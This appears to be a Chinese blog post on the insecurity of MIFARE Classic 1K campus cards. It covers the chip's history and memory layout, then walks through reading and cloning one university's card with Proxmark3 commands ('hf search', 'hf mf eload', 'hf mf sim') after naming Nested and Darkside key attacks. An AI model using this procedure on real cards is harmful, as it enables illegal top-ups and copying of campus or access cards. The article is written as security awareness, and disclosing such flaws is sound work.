时隔多年,校园卡仍存在安全隐患。
现状分析
校园一卡通在全国各高校被广泛使用,一卡通系统涉及到校园生活的诸多方面,故此一卡通系统是一个对稳定性要求极高的系统。
时隔多年,部分高校仍然在使用 MIFARE 1 卡,MIFARE 1 是非接触逻辑加密卡,密钥是一个预先设定的固定密码,存储在卡片扇区内的,很容易复制。
MIFARE 介绍
- 1994年,MIFARE Classic 1K,非接触式读取技术开发成功。
- 2008年,在荷兰的奈梅亨大学数字安全研究群里发表了利用反向工程复制并且修改采用 MIFARE Classic 技术的电子票证OV卡上的余额。
- 2009年,工业和信息部发布了《关于做好应对部分IC卡出现严重安全漏洞工作的通知》,要求各地各机关和部门开展对IC卡使用情况的调查及应对工作。
MIFARE 1 卡片上面有一组唯一识别码、通信接口(包含天线及调制解调器)以及一个ASIC里面包含了通信逻辑电路、加密控制逻辑电路与数据存储区( EEPROM)。
- 数据存储区块:可分16个区块(sector 0-15), 每个区块由4个区块(block 0-3)组成,而每个区块都是独立的单元,每1个区块的容量有16Byte。而每个区块的最后一个区块则用来存放2组密钥(KeyA、KeyB),以及密钥对应各自的访问权限(Access bit)。
- 每张卡片第一区块的第一区块(sector 0,block 0)只能读取无法写入数据,称为制造商代码(Manufacturer Code), 第1-4byte为UID。第5byte为比特计数检查码(bit count check),其余的存放卡片制造商的数据。所以每张卡片实际能使用的只有15个区块,即便如此也可用于15个不同的应用。
引用来源:
漏洞利用
本着实验的原则,对国内某高校的校园一卡通(IC 卡)进行破解测试。
仅供研究测试,勿用于非法用途,后果自负。
读取卡片
proxmark3> hf search
UID : 74 2f a0 7e
SAK : 08 [2]
ATQA : 00 04
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
Valid ISO14443A Tag Found - Quiting Search
枚举密钥
执行 Nested authentication 攻击,再通过 Darkside 方式暴力破解。
最终得出结果并导出 Dump 内容。其过程可参考其他文章,这里不作赘述。
分析结果
至此,这张 IC 卡中的数据都已经读取出来了。(截图中已混淆敏感数据)
复制卡片
既然已经得到了该卡片的所有数据,那么想要复制一张相同的卡片也就很简单了。
proxmark3> hf mf eload 742FA07E
Loaded 64 blocks from file: 742fa07e.eml
proxmark3> hf mf sim
uid:N/A, numreads:0, flags:0 (0x00)
将之前导出的数据重新写入一张空白的 IC 卡后,此时两张卡片中的数据完全一致,使用功能上基本没有区别。
写在文末
Mifare Classic 的 IC 卡存在如此严重的安全漏洞,若是这种方法被不法利用,就可以很低的经济成本对采用该芯片的各类一卡通、门禁卡进行非法充值或复制,带来很大的社会安全隐患。那么我们只能希望各单位部门尽快更新采用更安全的 CPU 卡系统。